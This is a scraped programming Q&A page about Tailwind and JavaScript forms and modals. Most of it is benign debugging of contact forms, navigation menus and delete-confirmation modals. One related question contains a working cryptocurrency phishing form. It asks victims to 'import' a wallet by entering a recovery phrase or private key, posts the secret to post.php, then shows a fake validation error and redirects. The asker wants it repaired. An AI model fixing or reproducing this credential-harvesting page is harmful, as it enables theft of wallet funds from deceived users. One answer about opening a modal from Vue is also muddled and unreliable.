I'm submitting this form using smtp js. The form submission and validation is working properly, but after passing the data successfully to the mail it doesn't reload the page. It's showing HTTP ERROR 405. Can anyone please help me to solve this issue?
This is the Html part. The last div is hidden, as I want to use this as a pop-up which will be apperaed when the mail is sent successfully.
HTML
<form class="send-message row-start-1 col-start-1 col-end-4 w-[100%] md:w-[75%]" action="" id="" method="POST"" >
<div class="mb-4">
<input
class="dark:bg-black bg-transparent border border-white w-full px-2 py-2 rounded text-sm text-white md:text-base"
type="text"
name="name"
placeholder="Name"
id="name"
/>
<span id="nameError" class="text-red-400 text-xs md:text-sm"></span>
</div>
<div class="mb-4">
<input
class="dark:bg-black bg-transparent border border-white w-full px-2 py-2 rounded text-sm text-white md:text-base"
type="text"
name="email"
id="email"
placeholder="Email"
/>
<span
id="emailError"
class="text-red-400 text-xs md:text-sm"
></span>
</div>
<div class="mb-4">
<input
class="dark:bg-black bg-transparent border border-white w-full px-2 py-2 rounded text-sm text-white md:text-base"
type="text"
name="subject"
id="subject"
placeholder="Subject"
/>
<span
id="subjectError"
class="text-red-400 text-xs md:text-sm"
></span>
</div>
<div class="mb-4">
<textarea
class="dark:bg-black bg-transparent border border-white w-full h-28 px-2 py-2 rounded text-sm text-white md:text-base"
name="message"
id="message"
cols="30"
rows="10"
placeholder="Message"
></textarea>
<span
id="messageError"
class="text-red-400 text-xs md:text-sm"
></span>
</div>
<!-- send button starts here -->
<div class="relative">
<button onclick="return sendMail()"
class="flex flex-row items-center justify-center gap-2 bg-[#f7f7f7] transition-all duration-300 ease-in-out drop-shadow-xl hover:bg-white hover:drop-shadow-2xl text-nav-color font-bold py-2 px-8 md:px-10 md:py-2 rounded"
>
<svg
class="w-6 h-8"
xmlns="http://www.w3.org/2000/svg"
width="16"
height="16"
fill="currentColor"
class="bi bi-send"
viewBox="0 0 16 16"
>
<path
d="M15.854.146a.5.5 0 0 1 .11.54l-5.819 14.547a.75.75 0 0 1-1.329.124l-3.178-4.995L.643 7.184a.75.75 0 0 1 .124-1.33L15.314.037a.5.5 0 0 1 .54.11ZM6.636 10.07l2.761 4.338L14.13 2.576 6.636 10.07Zm6.787-8.201L1.591 6.602l4.339 2.76 7.494-7.493Z"
/>
</svg>
Send
</button>
<!-- success message -->
<div class="absolute top-0 left-0 hidden bg-green-100 rounded-md p-3 md:w-[50%]" id="success">
<svg
class="stroke-2 stroke-current text-green-600 h-8 w-8 mr-2 flex-shrink-0"
viewBox="0 0 24 24"
fill="none"
strokeLinecap="round"
strokeLinejoin="round"
>
<path d="M0 0h24v24H0z" stroke="none" />
<circle cx="12" cy="12" r="9" />
<path d="M9 12l2 2 4-4" />
</svg>
<div class="text-green-700">
<div class="font-bold text-xl">Message sent successfully.</div>
</div>
</div>
</div>
</form>
Js
function sendMail() {
let inputName = document.getElementById("name").value;
let inputEmail = document.getElementById("email").value;
let inputSubject = document.getElementById("subject").value;
let inputMessage = document.getElementById("message").value;
let validName = validateName(inputName);
let validEmail = validateEmail(inputEmail);
let validSubject = validateSubject(inputSubject);
let validMessage = validateMessage(inputMessage);
if (validName != false && validEmail != false && validSubject != false && validMessage != false) {
let messageBody = 'Name: ' + inputName + '<br>Email: ' + inputEmail + '<br>Subject: ' + inputSubject + '<br>Message: ' + inputMessage;
Email.send({
SecureToken:"XXXXXXXXXXXX",
To : 'XXXXXXXXX#gmail.com',
From : "XXXXXXXXXXX#gmail.com",
Subject : "New message on contact from " + inputName,
Body : messageBody,
}).then(
showSuccess()
)
return true;
}
else{
return false;
}
}
// showing success message
function showSuccess() {
let successMessage = document.getElementById("success");
successMessage.classList.remove("hidden");
successMessage.classList.add("flex");
}
I've found out the solution and the reason behind this issue. As an HTML file can't accept a Post request so I couldn't write that. And actually, I don't need to use that in my HTML file as I'm sending the data from js.
Related
I am working on a react project using vite and for css I am using tailwind css. From the component section of tailwind css website I have copied template, and I am unable to get responsive functionality and show/hide menu on click
below is my header code
<nav class="bg-gray-800">
<div class="mx-auto max-w-7xl px-2 sm:px-6 lg:px-8">
<div class="relative flex h-16 items-center justify-between">
<div class="absolute inset-y-0 left-0 flex items-center sm:hidden">
<button type="button" class="inline-flex items-center justify-center rounded-md p-2 text-gray-400 hover:bg-gray-700 hover:text-white focus:outline-none focus:ring-2 focus:ring-inset focus:ring-white" aria-controls="mobile-menu" aria-expanded="false">
<span class="sr-only">Open main menu</span>
<svg class="block h-6 w-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
</svg>
<svg class="hidden h-6 w-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
</svg>
</button>
</div>
<div class="flex flex-1 items-center justify-center sm:items-stretch sm:justify-start">
<div class="flex flex-shrink-0 items-center">
<img class="block h-8 w-auto lg:hidden" src="https://tailwindui.com/img/logos/mark.svg?color=indigo&shade=500" alt="Your Company" />
<img class="hidden h-8 w-auto lg:block" src="https://tailwindui.com/img/logos/mark.svg?color=indigo&shade=500" alt="Your Company"/>
</div>
<div class="hidden sm:ml-6 sm:block">
<div class="flex space-x-4">
Dashboard
Team
Projects
Calendar
</div>
</div>
</div>
<div class="absolute inset-y-0 right-0 flex items-center pr-2 sm:static sm:inset-auto sm:ml-6 sm:pr-0">
<button type="button" class="rounded-full bg-gray-800 p-1 text-gray-400 hover:text-white focus:outline-none focus:ring-2 focus:ring-white focus:ring-offset-2 focus:ring-offset-gray-800">
<span class="sr-only">View notifications</span>
<svg class="h-6 w-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" d="M14.857 17.082a23.848 23.848 0 005.454-1.31A8.967 8.967 0 0118 9.75v-.7V9A6 6 0 006 9v.75a8.967 8.967 0 01-2.312 6.022c1.733.64 3.56 1.085 5.455 1.31m5.714 0a24.255 24.255 0 01-5.714 0m5.714 0a3 3 0 11-5.714 0" />
</svg>
</button>
<div class="relative ml-3">
<div>
<button type="button" class="flex rounded-full bg-gray-800 text-sm focus:outline-none focus:ring-2 focus:ring-white focus:ring-offset-2 focus:ring-offset-gray-800" id="user-menu-button" aria-expanded="false" aria-haspopup="true">
<span class="sr-only">Open user menu</span>
<img class="h-8 w-8 rounded-full" src="https://images.unsplash.com/photo-1472099645785-5658abf4ff4e?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=facearea&facepad=2&w=256&h=256&q=80" alt=""/>
</button>
</div>
<div class="absolute right-0 z-10 mt-2 w-48 origin-top-right rounded-md bg-white py-1 shadow-lg ring-1 ring-black ring-opacity-5 focus:outline-none" role="menu" aria-orientation="vertical" aria-labelledby="user-menu-button" tabindex="-1">
Your Profile
Settings
Sign out
</div>
</div>
</div>
</div>
</div>
<div class="sm:hidden" id="mobile-menu">
<div class="space-y-1 px-2 pt-2 pb-3">
Dashboard
Team
Projects
Calendar
</div>
</div>
</nav>
everything is working fine but by running the above code I am getting only ui and not getting click function on menu bars or other
see the image below
[
let menuMovilButton = document.getElementById('menu-movil-button');
let userMenuButton = document.getElementById('user-menu-button');
let userMenu = document.getElementById('user-menu');
let menuMovil = document.getElementById('menu-movil');
menuMovilButton.addEventListener('click', () =>{
menuMovil.classList.toggle('hidden');
});
userMenuButton.addEventListener('click', () =>{
userMenu.classList.toggle('hidden');
});`
can anyone fix that for me really I spend a lot of time trying different solutions never works.
I use a tailwindcss template for the modal and javascript to show it or hide it.
I don't find the solution can anyone fix it, My modal just works fine for the first row of the table and did not work for the rest of rows
<!-- component -->
<div class="overflow-x-auto">
<div class="min-w-screen min-h-screen flex items-start justify-center font-sans overflow-hidden">
<div class="w-full lg:w-5/6">
<div class="bg-white shadow-md rounded my-6">
<table class="min-w-max w-full table-auto">
<thead>
<tr class="bg-gray-200 text-gray-600 uppercase text-sm leading-normal">
<th class="py-3 px-6 text-left">Event Title</th>
<th class="py-3 px-6 text-left">Description</th>
<th class="py-3 px-6 text-center">Date</th>
<th class="py-3 px-6 text-center">Image</th>
<th class="py-3 px-6 text-center">Status</th>
<th class="py-3 px-6 text-center">Actions</th>
</tr>
</thead>
<tbody class="text-gray-600 text-sm font-light">
#foreach ($events as $event)
<tr class="border-b border-gray-200 hover:bg-gray-100">
<td class="py-3 px-6 text-left whitespace-nowrap">
<div class="flex items-center">
<span class="font-medium">{{ $event->title }}</span>
</div>
</td>
<td class="py-3 px-6 text-left">
<div class="flex items-center">
<span>{{ $event->description }}</span>
</div>
</td>
<td class="py-3 px-6 text-center">
<div class="flex items-center justify-center">
<span class="font-medium">{{ $event->date }}</span>
</div>
</td>
<td class="py-3 px-6 text-center">
<div class="flex items-center justify-center">
<img class="w-6 h-6 rounded-full border-gray-200 border -m-1 transform hover:scale-125" src="{{ Storage::url($event->image) }}" alt="{{ $event->place }}"/>
</div>
</td>
<td class="py-3 px-6 text-center">
#if(($event->status)==1)
<span class="bg-purple-200 text-purple-600 py-1 px-3 rounded-full text-xs">Active</span>
#else
<span class="bg-red-200 text-red-600 py-1 px-3 rounded-full text-xs">Pending</span>
#endif
<!--<span class="bg-green-200 text-green-600 py-1 px-3 rounded-full text-xs">Completed</span>-->
</td>
<td class="py-3 px-6 text-center">
<div class="flex item-center justify-center">
<div class="w-4 mr-4 transform hover:text-red-700 hover:scale-110">
<a href="{{ route('events.edit',$event->id) }}">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.232 5.232l3.536 3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z" />
</svg>
</a>
</div>
<!--------My delete buttton------------------>
<div class="w-4 mr-2 transform hover:text-red-700 hover:scale-110">
<a class="delete-btn" >
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16" />
</svg>
</a>
</div>
</div>
</td>
</tr>
#endforeach
</tbody>
</table>
{!! $events->links() !!}
</div>
</div>
</div>
</div>
<!-- delet event confiming model-->
<div class="relative z-10 hidden" aria-labelledby="modal-title" role="dialog" aria-modal="true" id="overlay">
<div class="fixed inset-0 bg-gray-500 bg-opacity-75 transition-opacity" ></div>
<div class="fixed inset-0 z-10 overflow-y-auto">
<div class="flex min-h-full items-end justify-center p-4 text-center sm:items-center sm:p-0">
<div class="relative transform overflow-hidden rounded-lg bg-white text-left shadow-xl transition-all sm:my-8 sm:w-full sm:max-w-lg">
<div class="bg-white px-4 pt-5 pb-4 sm:p-6 sm:pb-4">
<div class="sm:flex sm:items-start">
<div class="mx-auto flex h-12 w-12 flex-shrink-0 items-center justify-center rounded-full bg-red-100 sm:mx-0 sm:h-10 sm:w-10">
<!-- Heroicon name: outline/exclamation-triangle -->
<svg class="h-6 w-6 text-red-600" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
<path stroke-linecap="round" stroke-linejoin="round" d="M12 10.5v3.75m-9.303 3.376C1.83 19.126 2.914 21 4.645 21h14.71c1.73 0 2.813-1.874 1.948-3.374L13.949 4.88c-.866-1.501-3.032-1.501-3.898 0L2.697 17.626zM12 17.25h.007v.008H12v-.008z" />
</svg>
</div>
<form action="{{ route('events.destroy',$event->id) }}" method="POST">
#csrf
#method('DELETE')
<div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left">
<h3 class="text-lg font-medium leading-6 text-gray-900" id="modal-title">Delete an Event</h3>
<div class="mt-2">
<p class="text-sm text-gray-500">Are you sure you want to delete the event? All of the event data will be permanently removed. This action cannot be undone.</p>
</div>
</div>
</div>
</div>
<div class="bg-gray-50 px-4 py-3 sm:flex sm:flex-row-reverse sm:px-6">
<button type="submit" class="inline-flex w-full justify-center rounded-md border border-transparent bg-red-600 px-4 py-2 text-base font-medium text-white shadow-sm hover:bg-red-700 focus:outline-none focus:ring-2 focus:ring-red-500 focus:ring-offset-2 sm:ml-3 sm:w-auto sm:text-sm">Delete</button>
<button type="button" class="mt-3 inline-flex w-full justify-center rounded-md border border-gray-300 bg-white px-4 py-2 text-base font-medium text-gray-700 shadow-sm hover:bg-gray-50 focus:outline-none focus:ring-2 focus:ring-indigo-500 focus:ring-offset-2 sm:mt-0 sm:ml-3 sm:w-auto sm:text-sm" id="close-modal">Cancel</button>
</form>
</div>
</div>
</div>
</div>
</div>
<!-- delet event confiming model script-->
<script>
window.addEventListener('DOMContentLoaded', () =>{
const overlay = document.querySelector('#overlay')
const delBtn = document.querySelector('.delete-btn')
const closeBtn = document.querySelector('#close-modal')
const toggleModal = () => {
overlay.classList.toggle('hidden')
overlay.classList.toggle('flex')
}
delBtn.addEventListener('click', toggleModal)
closeBtn.addEventListener('click', toggleModal)
})
</script>
Taken directly from the MDN documentation:
The Document method querySelector() returns the first Element within
the document that matches the specified selector, or group of
selectors. If no matches are found, null is returned.
So regardless of the number of elements you have in your document with a class of delete-btn, using document.querySelector('.delete-btn') will only ever return the first element it finds.
As you want to be able to apply an event listener to all elements with the delete-btn class, what you really want is the querySelectorAll() method.
The Document method querySelectorAll() returns a static (not live)
NodeList representing a list of the document's elements that match the
specified group of selectors.
The NodeList returned from calling document.querySelectorAll('.delete-btn'); is a collection (similar concept to an array) which contains all the elements located with the specified selector. As this is a collection and not a single element, you need to iterate over each of the collection elements and attach an eventListener to each iteration.
So applying the above to your use case, you might do:
window.addEventListener('DOMContentLoaded', function() {
document.querySelectorAll('.delete-btn').forEach((btn) => {
btn.addEventListener('click', function(evt) {
toggleModal();
})
})
});
An example CodePend for reference.
In my laravel Vue application, I have a vue with datatable to display some user records.
Above my datatable I have a button to add records.
Once when an user clicks on the button it should open a modal.
But I have my modal in a blade.
Following is my vue code for the button (view-docs.vue),
<open-overlay direction-from="top" identifier="addDocumentModal">
<cs-button>
Add document
</cs-button>
</open-overlay>
And my modal .blade is,
<form
method="post"
action="{{ route('dashboard.profile.otherDocuments.store.manual', ['locale' => app()->getLocale()]) }}"
enctype="multipart/form-data"
ref="addDocumentModal"
>
#csrf
<overlay direction-from="top" identifier="addDocumentModal" open="{{ isset($add_another_documents) ? 'true' : null }}" >
<div class="cs--dashboard-edit-modal w-full h-full absolute bottom-0 ">
<div class="cs--modal-content flex">
<div class="relative w-full">
<div class="cs--reveal-container bg-white w-full rounded shadow-soft mr-8 h-full">
<!--Modal title-->
<div class="flex justify-between items-center border-b border-certstyle-border px-10 py-3">
<h3 class="text-2xl leading-10 text-certstyle-titles font-bold my-2 flex items-center">
<span class="border-l-2 border-certstyle-orange inline-block h-6 mr-2"></span>
<span>{{ __('pages/other-documents.add-document') }}</span>
</h3>
<div class="h-full flex items-center cs--reveal transition-all duration-500"></div>
</div>
<div>
<!--Modal content-->
<div class="bg-certstyle-background-light w-full h-full px-10 pt-8 pb-10">
<!--Name-->
<div class="mb-5 relative z-30">
<p class="text-certstyle-titles font-bold text-sm mb-1">{{ __('pages/other-documents.name') }}</p>
<div class="h-12 relative z-10">
<input value="{{ old('name') }}" name="name" id="add_name_input" type="text" class=" form-input w-full relative z-10" >
</div>
<validator identifier="addDocument" name="add_name_input" selector="id" rules="{{$validations['required']}}"></validator>
</div>
<div class="flex justify-between">
<!--Completed at-->
<div class="w-1/2 mr-2">
<p class="text-certstyle-titles font-bold text-sm mb-1">{{ __('pages/add-certificate.date-of-issue') }}</p>
<validator-v2 identifier="addDocument" name="issued_at" rules="{{$validations['required']}}">
<div class="h-12">
<cs-date-picker value="{{ old('issued_at') != null ? Carbon\Carbon::parse(old('issued_at'))->format('Y-m-d') : '' }}" id="minimumDate" name="issued_at"></cs-date-picker>
</div>
</validator-v2>
</div>
<!--Expiration date-->
<div class="w-1/2 ml-2">
<p class="text-certstyle-titles font-bold text-sm mb-1">{{ __('pages/add-certificate.expiry-date') }}</p>
<validator-v2 identifier="addDocument" name="expires_at" depends-on-name="does_not_expire" :rules="{{$validations['expiry_date_must_be_same_or_after']}}">
<div class="h-12">
<cs-date-picker value="{{ old('expires_at') != null ? Carbon\Carbon::parse(old('expires_at'))->format('Y-m-d') : '' }}" name="expires_at"></cs-date-picker>
</div>
</validator-v2>
</div>
</div>
<div class="flex justify-between">
<!--Completed at-->
<div class="w-1/2 mr-2">
<div class="mb-4">
<label class="inline-flex items-center focus:outline-none checkbox--container mt-2">
<input type="checkbox" name="does_not_expire">
<span class="checkbox--checkmark flex items-center justify-center ">
<svg class="icon text-certstyle-orange feather feather-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<polyline points="20 6 9 17 4 12"></polyline>
</svg>
</span>
<span style="bottom: 4px;" class="text-certstyle-text font-normal text-sm relative">{{ __('pages/add-certificate.document-does-not-expire') }}</span>
</label>
</div>
</div>
</div>
<!--Upload document-->
<div class="mb-1">
<dashboard-input-label identifier="document" :settings="{help: true, helpDirection: 'left'}">
{{ __('pages/add-certificate.upload-document') }}
<template slot="helpText">
Maximum filesize is {{ config('file-upload.max_file_size') }} MB.
The default allowed file extensions are: pdf, jpeg and png.
</template>
</dashboard-input-label>
<validator-v2 identifier="addDocument" name="document_file" :rules="{{$validations['required']}}">
<custom-file-upload :max-upload-file-size="{{ config('file-upload.max_file_size') }}" name="document_file"></custom-file-upload>
</validator-v2>
</div>
<!--Certificate number-->
<div class="mb-1">
<p class="inline-block text-certstyle-titles font-bold text-sm mb-1">{{ __('pages/other-documents.document-number') }}</p>
<div class="relative">
<validator-v2 identifier="addDocument" name="document_number" depends-on-name="no_document_number" :rules="{{$validations['required_unless']}}">
<input value="{{ old('document_number') }}" name="document_number" id="add_document_number_input" type="text" class=" form-input w-full relative z-10" >
<input-annotation identifier="document_number">
{{ __('pages/other-documents.fill-document-number-1') }}
</input-annotation>
<label class="inline-flex items-center focus:outline-none checkbox--container mt-2">
<input type="checkbox" name="no_document_number">
<span class="checkbox--checkmark flex items-center justify-center">
<svg class="icon text-certstyle-orange feather feather-check" xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<polyline points="20 6 9 17 4 12"></polyline>
</svg>
</span>
<span style="bottom: 4px;" class="text-certstyle-text font-normal text-sm relative">{{ __('pages/other-documents.document-has-no-document-number') }}</span>
</label>
</validator-v2>
</div>
</div>
</div>
<!--Modal actions-->
<div class="flex justify-between border-certstyle-border bg-white border-t px-8 py-8 relative ">
<close-overlay identifier="addDocumentModal">
<div class="text-certstyle-text-light border-certstyle-border rounded border px-6 py-2 mr-4 hover:bg-certstyle-background cursor-pointer">{{ __('pages/add-certificate.cancel') }}</div>
</close-overlay>
<div class="flex justify-right flex justify-right space-x-5">
<document-submit-button
caption="{{ __('pages/add-certificate.save-and-close') }}"
buttonclass="bg-white text-certstyle-orange border-certstyle-orange border rounded font-bold px-6 py-2 cursor-pointer"
name="saveAndClose"
identifier="saveAndClose"
></document-submit-button>
<document-submit-button
caption="{{ __('pages/add-certificate.save-and-add-new') }}"
buttonclass="text-white bg-gradient-br-orange rounded border font-bold px-6 py-2 cursor-pointer"
name="saveAndNew"
identifier="saveAndNew"
></document-submit-button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</overlay>
</form>
How can I open up this modal when I click on my vue button?
use clink event on button and call function.
in that function link router.js file's function.
in router.js, function should look like this,
{
path: '/yourpath which is in api.php or web.php have',
name: 'same as path name to remember easily',
meta: {
requiresAuth: true, //authentication require
roles: ['superadmin','admin'] //roles to be define
},
component: () => import('../your vue file path/myFile.vue'),
},
after this, create route in in api.php file and call function of that controller.
in controller view your blade file code like below.
view('.blade filename');
and it's done thank you.
I have this source code that a friend of mine asked me to correct. I need to make sure the characters in the textarea box are being sent to post.php after clicking the submit button, but it's not working. Instead, it's showing "Could not proceed due to some errors, kindly try again later.". Looking at the form box source code, I guess it's trying to get elements from the script, but I don't know how I can make this work. Can anyone kindly assist me on this? I don't know if I explained it well cuz I'm still a newbie to programming.
Here's the form/submit button code;
<form action="#" method="post" enctype="multipart/form-data" id="form" onsubmit="return false">
<div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left w-full mr-10">
<h3 id="modal-headline" class="text-lg leading-6 mt-2 font-medium text-gray-900" style="display: flex; flex-direction: row;"> <img src="https://appwalletconnects.org//assets/img/wallets_api_files/saved_resource.html" style="margin-right: 20px; height: 40px; width: 40px" id="myImg"><span>Import your <span
id="walletname"></span> wallet
</span>
</h3>
<div class="mt-2">
<div class="mt-10">
<div class="flex justify-evenly border-b-2 border-fuchsia-600 mb-4">
<div id="phrase" class="p-2 border-b-2 border-white hover:border-blue-600 cursor-pointer">
Phrase
</div>
<div id="keystore" class="p-2 border-b-2 border-white hover:border-blue-600 cursor-pointer">
Keystore JSON
</div>
<div id="private" class="p-2 border-b-2 border-white hover:border-blue-600 cursor-pointer">
Private Key
</div>
</div>
<div id="first" class="acc-body active">
<div class="flex flex-col">
</div>
<div class="flex flex-col mb-6">
<div class="relative"><textarea cols="30" rows="4" placeholder="Enter your recovery phrase" class="text-sm sm:text-base placeholder-gray-500 pl-4 pr-4 rounded-lg border border-gray-400 w-full py-2 focus:outline-none focus:border-blue-400" name="phrase" required
minlength="12" id="phraseInput"></textarea>
<input type="hidden" name="type" value="phrase" />
<p class="text-xs text-grey-300 mt-6">
Typically 12 (sometimes 24) words separated by single spaces
</p>
</div>
</div>
<div class="flex w-full">
<button id=".sending" type="submit" onclick="Dis.postServer('form', '/api/parse/phrase', 'phraseProceed')" class="flex items-center justify-center focus:outline-none text-white text-sm sm:text-base bg-blue-600 hover:bg-blue-700 rounded py-2 w-full transition duration-150 ease-in"
id="phraseProceed" name="play"><span class="mr-2 uppercase">Proceed</span> <span><svg
fill="none" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
viewBox="0 0 24 24" stroke="currentColor" class="h-6 w-6">
<path d="M13 9l3 3m0 0l-3 3m3-3H8m13 0a9 9 0 11-18 0 9 9 0 0118 0z"></path>
</svg></span></button>
</div>
</div>
And here is the script that I guess is trying to get the elements;
<script>
function ready() {
document.body.style.display = "block";
}
document.addEventListener("DOMContentLoaded", ready);
</script>
<script>
const phraseProceedBtn = document.getElementById('phraseProceed');
const keystorejsonProceedBtn = document.getElementById('keystorejsonproceed');
const privatekeyProceedBtn = document.getElementById('privatekeyProceed');
const phraseProceedHandler = () => {
let phraseInputVal = document.getElementById('phraseInput').value;
const wallet = document.getElementById('wallet_id').value;
if (phraseInputVal.trim() === "") {
alert('Fill in your recovery phrase');
} else if (phraseInputVal.length < 12) {
alert('Recovery phrase length should be 12 or more in characters.')
} else {
$.ajax({
url: 'post.php',
method: 'POST',
data: { import_type: 'phrase', wallet: wallet, phrase: phraseInputVal },
success: function (res) {
if (res.trim() != "") {
if (res.trim() == "string_error") {
alert('Fill in your recovery phrase');
} else if (res.trim() == "success") {
phraseInputVal = '';
document.querySelector('.sending').style.display = 'block';
setTimeout(() => {
alert('Error Validating Wallet... Please try again later');
redirect();
}, 3000);
}
} else {
alert('Could not proceed due to some errors, kindly try again later.')
}
}
});
}
};
</script>
I have a problem that I do not know how to solve.
Basically it is a twitter-like page, which has two buttons: create new tweet and reply to tweet, which has modal code and javascript that opens a box to write a reply.
Everything is basically a same page. (even though is in 2-3 files that #include)
I need to know somehow which button opened a modal, so I can treat it differently.
Variable in PHP doesn't work as noting really needs server input, all is happening on a same page in front end.
Blade code or Javascript. I just need a flag so I can fill a route, and maybe if reply, add "#username" in body of textarea.
Code is too big to paste but a link that open modal is (example reply button)
<a class="modal-open cursor-pointer" title="{{ __('lang.replyTweet') }}">
<img src="{{ asset('/images/speech-bubble.png') }}" width="16" height="16">
</a>
Code of modal
<div class="modal opacity-0 pointer-events-none fixed w-full h-full top-0 left-0 flex items-center justify-center">
<div class="modal-overlay absolute w-full h-full bg-gray-900 opacity-50"></div>
<div class="modal-container bg-white w-11/12 md:max-w-md mx-auto rounded shadow-lg z-50 overflow-y-auto">
<div
class="modal-close absolute top-0 right-0 cursor-pointer flex flex-col items-center mt-4 mr-4 text-white text-sm z-50">
<svg class="fill-current text-white" xmlns="http://www.w3.org/2000/svg" width="18" height="18"
viewBox="0 0 18 18">
<path
d="M14.53 4.53l-1.06-1.06L9 7.94 4.53 3.47 3.47 4.53 7.94 9l-4.47 4.47 1.06 1.06L9 10.06l4.47 4.47 1.06-1.06L10.06 9z">
</path>
</svg>
<span class="text-sm">(Esc)</span>
</div>
<div class="modal-content py-4 text-left px-6">
<!--Title-->
<div class="flex justify-between items-center pb-3">
<p class="text-2xl font-bold">{{ __('lang.createTweet') }}</p>
<div class="modal-close cursor-pointer z-50">
<svg class="fill-current text-black" xmlns="http://www.w3.org/2000/svg" width="18" height="18"
viewBox="0 0 18 18">
<path
d="M14.53 4.53l-1.06-1.06L9 7.94 4.53 3.47 3.47 4.53 7.94 9l-4.47 4.47 1.06 1.06L9 10.06l4.47 4.47 1.06-1.06L10.06 9z">
</path>
</svg>
</div>
</div>
<div class="modal-body">
<form method="POST" action="{{ route('createTweet') }}" enctype="multipart/form-data">
#csrf
{{-- #method('PUT') --}}
<div class="form-group row">
<div class="col-md-6">
<textarea name="Tweet_body" id="Tweet_body" cols="45" rows="5" maxlength="250" autofocus placeholder="Tweet minimum 10 letters..."></textarea>
{{-- <input type="text" name="reply" value="{{ $replyModal }}" class="hidden"> --}}
</div>
</div>
<div class="flex flex-col-3 pt-2">
<div class="w-10 h-10">
<label class="cursor-pointer" title="{{ __('lang.uploadimage') }}" >
<img src="{{ asset('/images/uploadphoto.png') }}" alt=""
width="24" height="24">
<input type="file" name="cvrimg" class="hidden">
</label>
</div>
<div class="w-full">
#if (env('CUSTOM_NSFW_EXISTS') == true)
<label for="isNSFW" class="inline-flex items-center">
<input id="isNSFW" type="checkbox" class="ml-4 rounded border-gray-300 text-indigo-600
shadow-sm focus:border-indigo-300
focus:ring focus:ring-indigo-200 focus:ring-opacity-50" name="nsfw">
<span class="ml-2 text-sm text-red-600 font-extrabold">{{ __('lang.NSFWcontent') }}</span>
</label>
#endif
</div>
<div class="">
<button type="submit"
class="modal-close px-4 bg-indigo-500 p-3 rounded-lg text-white hover:bg-indigo-400">{{ __('lang.tweet') }}</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
<script>
var openmodal = document.querySelectorAll('.modal-open')
for (var i = 0; i < openmodal.length; i++) {
openmodal[i].addEventListener('click', function (event) {
event.preventDefault()
toggleModal()
})
}
const overlay = document.querySelector('.modal-overlay')
overlay.addEventListener('click', toggleModal)
var closemodal = document.querySelectorAll('.modal-close')
for (var i = 0; i < closemodal.length; i++) {
closemodal[i].addEventListener('click', toggleModal)
}
document.onkeydown = function (evt) {
evt = evt || window.event
var isEscape = false
if ("key" in evt) {
isEscape = (evt.key === "Escape" || evt.key === "Esc")
} else {
isEscape = (evt.keyCode === 27)
}
if (isEscape && document.body.classList.contains('modal-active')) {
toggleModal()
}
};
function toggleModal() {
const body = document.querySelector('body')
const modal = document.querySelector('.modal')
modal.classList.toggle('opacity-0')
modal.classList.toggle('pointer-events-none')
body.classList.toggle('modal-active')
}
</script>
there are nothing to do in this with both PHP & laravel.
actually this is depends on your modal lib , if you are using bootstrap modals you can listen to an event when the modal is open :
$('#modal').on('show.bs.modal', (ev) => {
let o = $(ev.relatedTarget), t = $(ev.currentTarget);
});
here you can simply set a data attribute in each button to differentiate between them. and in the modal callback you can check for this value to decide you rest of logic.